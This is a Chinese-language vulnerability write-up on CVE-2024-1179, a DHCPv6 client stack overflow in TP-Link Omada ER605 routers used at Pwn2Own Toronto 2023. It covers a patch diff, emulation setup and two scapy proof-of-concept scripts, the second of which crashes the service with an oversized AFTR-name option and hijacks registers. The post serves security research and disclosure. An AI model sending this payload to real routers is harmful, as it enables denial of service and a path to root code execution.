Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

该漏洞在Pwn2Own中被利用

CVE ID CVE-2024-1179
CVSS SCORE 7.5, AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AFFECTED VENDORS TP-Link
AFFECTED PRODUCTS Omada ER605
VULNERABILITY DETAILS This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of DHCP options. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.
ADDITIONAL DETAILS Fixed in firmware: ER605(UN)_V2_2.2.4 Build 20240119

介绍&固件下载

由于对dhcpv6的不熟悉,一开始在做漏洞分析的时候有个问题困扰了我,有dhcp6s这个服务端的存在,为什么漏洞点在client端,而且client端会挂载到546这个端口上,在经过学习了解后知道了client会接收server发送的确认报文

所以漏洞点都能猜到是在处理接收报文时发生的

1

修复固件:下载链接

漏洞固件:下载链接

漏洞分析

将Fix版本和漏洞版本进行diff,根据漏洞描述,可以很快速的确认漏洞点在dhcpv6-client中,将dhcpv6c进行具体的diff,发现了一个函数内memest附近有被fix的情况,基本确定此文件为漏洞文件

这是一个发生在dhcpv6 client中的漏洞,而这个binary在网上有一部分公开的源码,下载链接,借助这个源码来辅助分析大大减低了逆向工作量

0x405F08这个函数中发现了关键fix

1

fix版本对case64这里的memcpy条件进行了限制

在处理aftr_name时,字符组合没有大小检查导致的溢出

这是漏洞版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
case 64:
if ( optlen )
{
v65 = (a3 + 232);
if ( a3 != -232 )
{
if ( cp )
{
tlen = tlen[4];
v64 = 1;
opt = 0;
while ( tlen )
{
if ( optlen < tlen )
break;
memcpy(&v65[opt], cp + v64, tlen);
v15 = &tlen[v64];
if ( &tlen[v64] >= optlen )
break;
v16 = &tlen[opt];
v64 = (v15 + 1);
tlen = v15[cp];
opt = (v16 + 1);
v16[v65] = 46;
}
}
}
}

这是fix版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
case 64:
if ( !v62 )
goto LABEL_110;
v66 = (const char *)(a3 + 232);
if ( a3 == -232 || !cp )
goto LABEL_110;
size = (unsigned __int8 *)(char)size[4];
v65 = 1;
opt = 0;
while ( 1 )
{
if ( !size )
goto LABEL_110;
if ( (int)size < 0 || v62 < (int)size || (int)size >= 64 - opt )
break;
memcpy(&v66[opt], cp + v65, size);
v16 = (const char *)&size[v65];
if ( (int)&size[v65] >= v62 )
goto LABEL_110;
v17 = &size[opt];
v65 = (int)(v16 + 1);
size = (unsigned __int8 *)v16[cp];
opt = (int)(v17 + 1);
v17[(_DWORD)v66] = 46;
}
sub_4043BC(6, "getAftrName", "tlen is more than DHCP6_AFTRNAME_SIZE");
goto LABEL_110;

固件模拟

接下来需要编写Poc来触发此漏洞,这里的dhcpv6需要一些配置文件,所以采取qemu-system来模拟,搭建一个给qemu-system用的网络

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo ifconfig ens32 down
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens32 0.0.0.0 promisc up
sudo dhclient br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo qemu-system-mips \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
bash run.sh
root@debian-mips:~# ifconfig eth0 192.168.10.200/24 up
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

发现并没有/etc/init.d/rcS,需要手动启动dhcp6c,/etc/init.d/dhcp6c这个也启动不了,改了一些东西总是失败

在启动前需要patch一个地方,将<0改成>=0,ida patch会失败,@cdm258帮我用010修改了,0A 61 00 1A B8 65 00 65 00 1A 70 64 80 9A E2 67

patch前

1
2
3
4
5
6
7
if ( setsockopt(sock, 0xFFFF, 512, &v41, 4) < 0 )
{
v16 = _errno_location();
v17 = strerror(*v16);
v18 = "setsockopt(SO_REUSEPORT): %s";
goto LABEL_66;
}

patch后

1
2
3
4
5
6
7
if ( setsockopt(sock, 0xFFFF, 512, &v41, 4) >= 0 )
{
v16 = _errno_location();
v17 = strerror(*v16);
v18 = "setsockopt(SO_REUSEPORT): %s";
goto LABEL_66;
}

接着用以下命令就可以启动dhcp6c了,dhcp6c正常挂载到了546端口上,这个dhcp6c.conf是手动创建的,里面空的(我后面觉得完全可以直接qemu-user来启动,因为不熟悉dhcpv6,走了很多弯路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/ # /usr/sbin/dhcp6c -c /tmp/dhcp6c/dhcp6c.conf -Df eth0
/ # netstat -unap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:54249 0.0.0.0:* 1525/rpc.statd
udp 0 0 0.0.0.0:821 0.0.0.0:* 1494/rpcbind
udp 0 0 0.0.0.0:68 0.0.0.0:* 2237/dhclient
udp 0 0 127.0.0.1:853 0.0.0.0:* 1525/rpc.statd
udp 0 0 0.0.0.0:111 0.0.0.0:* 1494/rpcbind
udp 0 0 0.0.0.0:52945 0.0.0.0:* 2237/dhclient
udp 0 0 :::546 :::* 2380/dhcp6c
udp 0 0 :::46377 :::* 1525/rpc.statd
udp 0 0 :::821 :::* 1494/rpcbind
udp 0 0 :::61764 :::* 2237/dhclient
udp 0 0 :::111 :::* 1494/rpcbind

Poc

这是第一份远程有响应的Poc,这里有@starrysky的帮助

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import socket
from pwn import *
import binascii
from threading import Thread
from scapy.all import *
from scapy.layers.inet6 import IPv6, UDP
from scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientId

context(os='linux', arch='mips', log_level='debug')

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')

ip = '192.168.10.200'
port = 546

def send_dhcp6_reply_and_listen(interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id):
# 构造以太网层
ether_layer = Ether(src=src_mac, dst=dst_mac)

# 构造IPv6层
ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6)

# 构造UDP层
udp_layer = UDP(sport=547, dport=546) # 注意端口号,服务器端是547,客户端是546

# 构造DHCPv6 REPLY消息
dhcp6_reply = DHCP6_Reply(trid=transaction_id)

# 构造Server ID选项
server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1, lladdr=src_mac))

# 构造Client ID选项
client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1, lladdr=dst_mac))

# 组合所有层
packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / server_id / client_id

# 发送数据包
sendp(packet, iface=interface, verbose=False)
print("DHCPv6 Reply消息已发送,等待响应...")

# 设置监听过滤器,捕获DHCPv6 Solicit或Request等消息作为响应
def filter_reply(pkt):
return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id

# 监听网络上的回应,持续5秒
response = sniff(iface=interface, filter="udp and port 546", prn=lambda x: x.show(),
lfilter=filter_reply, timeout=5, count=1)

# 判断是否收到回应
if response:
print("成功接收到DHCPv6回应。")
else:
print("未收到DHCPv6回应。")

# 请根据你的具体环境调整以下参数
interface_name = "br0" # Linux中的网络接口名称
#source_ipv6 = "fe80::8df1:7906:7b33:58d7" # 源IPv6地址
source_ipv6 = "fe80::21c:42ff:fee0:61cf" # 源IPv6地址
destination_ipv6 = "fe80::216:3eff:fe00:1" # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)
source_mac = "00:0c:29:b2:c1:98" # 源MAC地址
destination_mac = "00:16:3E:00:00:01" # 目的MAC地址(虚拟机内的网络接口MAC地址)
#transaction_id = 0x00abcdef # 事务ID
transaction_id = 0x25d6bd # 事务ID
getAftrName = "a"

# 发送DHCPv6 ADVERTISE消息
send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)

远程响应

1
2
3
4
5
6
Mar/28/2024 02:41:42: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0
Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option server ID, len 14
Mar/28/2024 02:41:42: DUID: 00:01:00:01:00:00:00:00:00:0c:29:b2:c1:98
Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option client ID, len 14
Mar/28/2024 02:41:42: DUID: 00:01:00:01:00:00:00:00:00:16:3e:00:00:01
Mar/28/2024 02:41:42: client6_recvreply: XID mismatch

这个case 64通过fix版本进行查看的时候可以发现是aftr_name,scapy里好像没有,所以udp重放了一下流量,拿到bytes类型的Poc,同时在qemu里tcpdump抓了一个包,通过流量包分析出了格式

1
2
3
00000000  07 25 d6 bd 00 02 00 0e  00 01 00 01 00 00 00 00   .%...... ........
00000010 00 0c 29 b2 c1 98 00 01 00 0e 00 01 00 01 00 00 ..)..... ........
00000020 00 00 00 16 3e 00 00 01

0x07是Message type、0x25d6bd是Transaction ID、0x0002是option、0x0e是Length、0001000100000000000c29b2c198是DUID

我们需要控制的是option和length以及后面option对应的数据,控制option为64,length为payload的长度,对应的数据存放payload,这个payload格式需要符合after_name的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-------------------------------+-------------------------------+
| OPTION_AFTR_NAME: 64 | option-len |
+-------------------------------+-------------------------------+
| |
| tunnel-endpoint-name (FQDN) |
| |
+---------------------------------------------------------------+

OPTION_AFTR_NAME: 64

option-len: Length of the tunnel-endpoint-name field in
octets.

tunnel-endpoint-name: A fully qualified domain name of the AFTR
tunnel endpoint.

Figure 1: AFTR-Name DHCPv6 Option Format

The tunnel-endpoint-name field is formatted as required in DHCPv6
[RFC3315] Section 8 ("Representation and Use of Domain Names").
Briefly, the format described is using a single octet noting the
length of one DNS label (limited to at most 63 octets), followed by
the label contents. This repeats until all labels in the FQDN are
exhausted, including a terminating zero-length label. Any updates to
Section 8 of DHCPv6 [RFC3315] also apply to encoding of this field.
An example format for this option is shown in Figure 2, which conveys
the FQDN "aftr.example.com.".

+------+------+------+------+------+------+------+------+------+
| 0x04 | a | f | t | r | 0x07 | e | x | a |
+------+------+------+------+------+------+------+------+------+
| m | p | l | e | 0x03 | c | o | m | 0x00 |
+------+------+------+------+------+------+------+------+------+

简单来说就是每一串aftr_name字符串前都需要标明长度,从第二个开始长度会转成.,比如上面的例子中,当格式为\x04aftr\x07example\x03com\x00时,程序解析之后的结果为aftr.example.com,通过这样的格式我写出了以下crash Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import socket
from pwn import *
import binascii
from threading import Thread
from scapy.all import *
from scapy.layers.inet6 import IPv6, UDP
from scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientId

context(os='linux', arch='mips', log_level='debug')

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')

ip = '192.168.10.200'
port = 546

def send_dhcp6_reply_and_listen(interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id):
# 构造以太网层
ether_layer = Ether(src=src_mac, dst=dst_mac)
li(ether_layer)

# 构造IPv6层
ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6)
li(ipv6_layer)

# 构造UDP层
udp_layer = UDP(sport=547, dport=546) # 注意端口号,服务器端是547,客户端是546
li(udp_layer)

# 构造DHCPv6 REPLY消息
dhcp6_reply = DHCP6_Reply(trid=transaction_id)
li(dhcp6_reply)

# 构造Server ID选项
server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1, lladdr=src_mac))
li(server_id)

# 构造Client ID选项
client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1, lladdr=dst_mac))
#li(client_id)

p1 = b'\x00\x40\x03\x00'
p2 = (b'\xff' + b'a' * 0xff) * 3
li(hex(len(p2)))
p1 += p2

# 组合所有层
packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / p1
li(bytes(packet))

# 发送数据包
sendp(packet)
print("DHCPv6 Reply消息已发送,等待响应...")

# 设置监听过滤器,捕获DHCPv6 Solicit或Request等消息作为响应
def filter_reply(pkt):
return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id

# 监听网络上的回应,持续5秒
response = sniff(iface=interface, filter="udp and port 546", prn=lambda x: x.show(),
lfilter=filter_reply, timeout=5, count=1)

# 判断是否收到回应
if response:
print("成功接收到DHCPv6回应。")
else:
print("未收到DHCPv6回应。")

# 请根据你的具体环境调整以下参数
interface_name = "br0" # Linux中的网络接口名称
#source_ipv6 = "fe80::f421:a8ff:fe5a:ff0d" # 源IPv6地址
source_ipv6 = "fe80::21c:42ff:fee0:61cf" # 源IPv6地址
destination_ipv6 = "fe80::216:3eff:fe00:1" # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)
#destination_ipv6 = "fe80::21c:42ff:fee0:61cf" # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)
source_mac = "00:0c:29:b2:c1:98" # 源MAC地址
destination_mac = "00:16:3E:00:00:01" # 目的MAC地址(虚拟机内的网络接口MAC地址)
#transaction_id = 0x00abcdef # 事务ID
transaction_id = 0x25d6bd # 事务ID
getAftrName = "a"

# 发送DHCPv6 ADVERTISE消息
send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)

远程crash

1
2
3
Mar/28/2024 06:42:03: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0
Mar/28/2024 06:42:03: dhcp6_get_options: get DHCP option opt_64, len 768
Segmentation fault

gdbserver调试之后发现在memcpy这里产生了崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────
*V0 0x7fbda0e0 ◂— 0x61616161 ('aaaa')
*V1 0x7fbdb004
*A0 0x7fbdab15 ◂— 0x61616161 ('aaaa')
*A1 0x7fbd9c05 ◂— 0x61616161 ('aaaa')
*A2 0xfffffffc
*A3 0x61616161 ('aaaa')
*T0 0x61616161 ('aaaa')
*T1 0xfffff0db
*T2 0x7fbda0e4 ◂— 0x61616161 ('aaaa')
*T3 0x61000000
*T4 0x706f2050 ('P op')
T5 0x0
T6 0xe
*T7 0x6e6f6974 ('tion')
*T8 0x42a06c —▸ 0x77f2cefc ◂— move $v0, $a0
*T9 0x77f2cefc ◂— move $v0, $a0
*S0 0x7fbd9c00 ◂— 0x616161ff
*S1 0x7fbd9ff8 ◂— 0x0
S2 0x5
S3 0x4018b1 —▸ 0x64f2f0 ◂— 0x0
S4 0x77f5b000
S5 0x77f5b000
S6 0x77f5e518 —▸ 0x77ebb000 ◂— 0x464c457f
S7 0x77f5fd8c ◂— 1
S8 0x0
GP 0x77f652c0
FP 0x0
*SP 0x7fbd9720 ◂— 0x7
*PC 0x77f2d1b4 ◂— sw $t0, -4($v1)
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────
► 0x77f2d1b4 sw $t0, -4($v1)
0x77f2d1b8 sltiu $t0, $t1, 0x13
0x77f2d1bc beqz $t0, 0x77f2d160

0x77f2d1c0 addiu $a0, $a0, 0x10
0x77f2d1c4 addiu $a3, $a2, -0x14
0x77f2d1c8 srl $a3, $a3, 4
0x77f2d1cc addiu $v1, $a3, 1
0x77f2d1d0 sll $v1, $v1, 4
0x77f2d1d4 addiu $a2, $a2, -0x11
0x77f2d1d8 sll $a3, $a3, 4
0x77f2d1dc addu $a1, $a1, $v1
──────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fbd9720 ◂— 0x7
01:0004│ 0x7fbd9724 —▸ 0x413f34 ◂— 'dhcp6_get_options'
02:0008│ 0x7fbd9728 —▸ 0x4137e4 ◂— addi $s4, $v1, 0x6567 /* 'get DHCP option %s, len %d' */
03:000c│ 0x7fbd972c —▸ 0x42a758 ◂— 'opt_64'
04:0010│ 0x7fbd9730 ◂— 0x300
05:0014│ 0x7fbd9734 ◂— '<8>Mar 28 06:46:46 : '
06:0018│ 0x7fbd9738 ◂— 'ar 28 06:46:46 : '
07:001c│ 0x7fbd973c ◂— '8 06:46:46 : '
────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x77f2d1b4
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x41a000 r-xp 1a000 0 /usr/sbin/dhcp6c
0x42a000 0x42b000 rw-p 1000 1a000 /usr/sbin/dhcp6c
0x42b000 0x42c000 rwxp 1000 0 [anon_0042b]
0x647000 0x69c000 rwxp 55000 0 [heap]
0x77d53000 0x77d6c000 r-xp 19000 0 /lib/libeasylogger.so
0x77d6c000 0x77d6d000 rw-p 1000 9000 /lib/libeasylogger.so
0x77d6d000 0x77d72000 rw-p 5000 0 [anon_77d6d]
0x77d72000 0x77d87000 r-xp 15000 0 /lib/libubox.so
0x77d87000 0x77d88000 rw-p 1000 5000 /lib/libubox.so
0x77d88000 0x77e6f000 r-xp e7000 0 /usr/lib/libiconv.so.2
0x77e6f000 0x77e70000 rw-p 1000 d7000 /usr/lib/libiconv.so.2
0x77e70000 0x77e86000 r-xp 16000 0 /lib/libuci.so
0x77e86000 0x77e87000 rw-p 1000 6000 /lib/libuci.so
0x77e87000 0x77ea9000 r-xp 22000 0 /lib/libgcc_s.so.1
0x77ea9000 0x77eaa000 rw-p 1000 12000 /lib/libgcc_s.so.1
0x77eaa000 0x77eba000 r-xp 10000 0 /usr/lib/liblogger.so
0x77eba000 0x77ebb000 rw-p 1000 0 /usr/lib/liblogger.so
0x77ebb000 0x77f4d000 r-xp 92000 0 /lib/ld-musl-mipsel-sf.so.1
0x77f5c000 0x77f5e000 rw-p 2000 91000 /lib/ld-musl-mipsel-sf.so.1
0x77f5e000 0x77f60000 rwxp 2000 0 [anon_77f5e]
0x7fbba000 0x7fbdb000 rw-p 21000 0 [stack]
0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]
pwndbg> p/x 0x77f2d1b4-0x77ebb000
$1 = 0x721b4

此时可以看到寄存器已经被劫持,exp这里就不详细展开了,至此Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605漏洞分析完成

Reference

https://www.zerodayinitiative.com/advisories/ZDI-24-085/

https://www.arvik.top/article/51536621.html

https://zhuanlan.zhihu.com/p/653315890

https://community.cisco.com/t5/%E7%BD%91%E7%BB%9C%E6%96%87%E6%A1%A3/%E5%8E%9F%E5%88%9B-dhcpv6-%E8%AF%A6%E6%83%85%E5%8F%8A%E5%85%B6%E6%8A%A5%E6%96%87%E4%BB%8B%E7%BB%8D-%E9%99%84%E9%85%8D%E7%BD%AE%E6%A1%88%E4%BE%8B%E5%8F%8A%E9%AA%8C%E8%AF%81%E5%91%BD%E4%BB%A4/ta-p/4372251

https://datatracker.ietf.org/doc/html/rfc6334